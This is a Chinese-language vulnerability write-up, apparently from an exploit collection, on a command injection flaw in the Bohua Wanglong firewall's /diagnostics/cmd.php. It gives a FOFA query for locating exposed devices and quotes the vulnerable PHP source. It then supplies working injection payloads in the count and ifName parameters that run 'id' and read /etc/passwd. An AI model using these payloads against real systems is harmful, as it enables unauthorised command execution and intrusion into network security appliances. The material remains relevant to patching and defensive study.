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85 lines
1.9 KiB
Markdown
85 lines
1.9 KiB
Markdown
# 博华网龙防火墙 cmd.php 远程命令执行漏洞
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## 漏洞描述
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博华网龙防火墙 cmd.php 过滤不足，导致命令拼接执行远程命令
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## 漏洞影响
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```
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博华网龙防火墙
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```
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## FOFA
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```
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"博华网龙防火墙"
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```
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## 漏洞复现
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登录页面
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存在漏洞的文件为 **/diagnostics/cmd.php**
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```php
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<?php
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include_once("pub/pub.inc");
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include_once("pub/session.inc");
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$username = $_SESSION["USER_NAME"];
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checkApproachUrl();
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if($_GET['action'] == "ping")
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{
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$host = $_GET['host'];
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$count = $_GET['count'];
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system("/bin/ping -c $count " . escapeshellarg($host)." >temp.htm");
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if($username)
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pSyslog("ping $host $count次", 0);
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}
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else if($_GET['action'] == "traceroute")
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{
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$host = $_GET['host'];
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$ttl = $_GET['ttl'];
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$useicmp = $_GET['useicmp'];
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if($useicmp)
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$useicmp = "-I";
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else
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$useicmp = "";
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system("/usr/bin/traceroute -d $useicmp -w 2 -m " . escapeshellarg($ttl) . " " . escapeshellarg($host)." >temp.htm");
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if($username)
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pSyslog("traceroute $host 跳数为$ttl", 0);
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}
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else if($_GET['action'] == "arping")
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{
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$host = $_GET['host'];
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$count = $_GET['count'];
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$if = $_GET['ifName'];
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$src = $_GET['src'];
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system("/usr/bin/arping -I $if -c $count -s $src $host >temp.htm");
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if($username)
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pSyslog("arping $host $count次", 0);
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}
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else
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{
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system("echo \"\" >temp.htm");
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}
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?>
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```
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可以发现其中存在多个命令执行点，均可进行命令拼接执行恶意命令
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构造命令执行
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```php
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/diagnostics/cmd.php?action=ping&count=||id||
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/diagnostics/cmd.php?action=arping&ifName=|cat /etc/passwd||
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```
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